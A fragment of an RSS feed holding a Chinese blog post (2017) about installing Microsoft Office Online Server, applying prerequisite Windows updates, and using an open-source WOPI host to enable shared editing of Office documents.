        <link>http://www.gfzj.us/2017/07/18/be-an-ordinary-person.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2017/07/18/be-an-ordinary-person.html</guid>
        
        
      </item>
    
      <item>
        <title>WOPI Host 实现</title>
        <description>&lt;p&gt;集团一直都是禁止使用友商产品，Google Docs 当然是在禁止名单里面。很多场景需要多人共同编辑一个文档，目前集团又没有提供相应的工具，所以很不方便。&lt;/p&gt;

&lt;p&gt;经过同事提醒，说可以使用 &lt;a href=&quot;https://products.office.com/zh-cn/sharepoint/collaboration&quot;&gt;SharePoint&lt;/a&gt;，一开始并不了解这是一个什么东西，Google 了一下，发现如果要实现文档在线编辑还需要 &lt;a href=&quot;https://technet.microsoft.com/zh-cn/library/jj219456(v=office.16).aspx&quot;&gt;Office Online Server&lt;/a&gt;（原 Office Web Apps Server ），于是开始了漫长而痛苦的部署过程。&lt;/p&gt;

&lt;h1 id=&quot;安装&quot;&gt;安装&lt;/h1&gt;

&lt;p&gt;我首先安装 Office Online Server。微软的东西，当然使用迅雷去 &lt;a href=&quot;http://msdn.itellyou.cn/&quot;&gt;http://msdn.itellyou.cn/&lt;/a&gt; 下载。我下载了：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;mu_windows_server_2012_r2_language_pack_with_update_x64_dvd_6066969.iso&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ed2k://|file|mu_windows_server_2012_r2_language_pack_with_update_x64_dvd_6066969.iso|3918141440|102DE2D2EDEECB48EC50390592C854A4|/

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;cn_office_online_server_last_updated_march_2017_x64_dvd_10245068.iso&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ed2k://|file|cn_office_online_server_last_updated_march_2017_x64_dvd_10245068.iso|730759168|DA70F58CB8FFAF37C02302F2501CE635|/

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;然后发现需要更新，微软的更新真是巨坑，自己不会分析依赖，需要用 Google 解决，依次安装：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;clearcompressionflag.exe&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/zh-cn/download/details.aspx?id=42153&quot;&gt;KB2919442&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;KB2919355&lt;/li&gt;
  &lt;li&gt;KB2932046&lt;/li&gt;
  &lt;li&gt;KB2959977&lt;/li&gt;
  &lt;li&gt;KB2937592&lt;/li&gt;
  &lt;li&gt;KB2938439&lt;/li&gt;
  &lt;li&gt;KB2934018&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;不得不吐槽，微软这么大的公司竟然没有一个类似 apt-get 或者 yum、homebrew 之类的依赖管理的东西，太弱了。&lt;/p&gt;

&lt;p&gt;接着，发现需要把 server 加入到一个域，而且本机还不能是 域控服务器，所以只好再搞一个虚拟机，然后安装域控服务，这个没什么难点，半个小时搞定。然后把 OOS 服务器加入到域中 。按照文档安装 &lt;a href=&quot;https://technet.microsoft.com/zh-cn/library/jj219455.aspx&quot;&gt;文档&lt;/a&gt;。顺利的话，应该可以打开：&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://localhost/hosting/discovery&quot;&gt;http://localhost/hosting/discovery&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;此时，可以实现“预览” office 文档的功能：&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://localhost/op/generate.aspx&quot;&gt;http://localhost/op/generate.aspx&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;但是还不能编辑。&lt;/p&gt;

&lt;h1 id=&quot;实现编辑&quot;&gt;实现编辑&lt;/h1&gt;

&lt;p&gt;如果要编辑的话，可以安装 SharePoint，但是这个东西安装比较麻烦，各种依赖。如果想轻便，可以找一个 WopiHost ，让 OOS 作为 WopiClient。就可以实现编辑了。&lt;/p&gt;

&lt;p&gt;WopiHost 可以参考：&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/marx-yu/WopiHost&quot;&gt;https://github.com/marx-yu/WopiHost&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.msdn.microsoft.com/scicoria/2013/07/22/building-an-office-web-apps-owa-wopi-host/&quot;&gt;https://blogs.msdn.microsoft.com/scicoria/2013/07/22/building-an-office-web-apps-owa-wopi-host/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/OfficeDev/PnP-WOPI&quot;&gt;https://github.com/OfficeDev/PnP-WOPI&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;我用的是 WopiHost。可以实现多人编辑 office 文档。但是还不能保存，需要优化。&lt;/p&gt;

&lt;h1 id=&quot;结论&quot;&gt;结论&lt;/h1&gt;

&lt;p&gt;最好直接安装 SharePoint，如果需要定制，比如和自己的用户系统打通，权限控制，可以实现一个 WopiHost，把在线编辑、预览功能交给 OOS。&lt;/p&gt;

</description>
        <pubDate>Thu, 25 May 2017 09:49:45 +0800</pubDate>
        <link>http://www.gfzj.us/2017/05/25/owa-host.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2017/05/25/owa-host.html</guid>
        
        
      </item>
    
  </channel>
</rss>
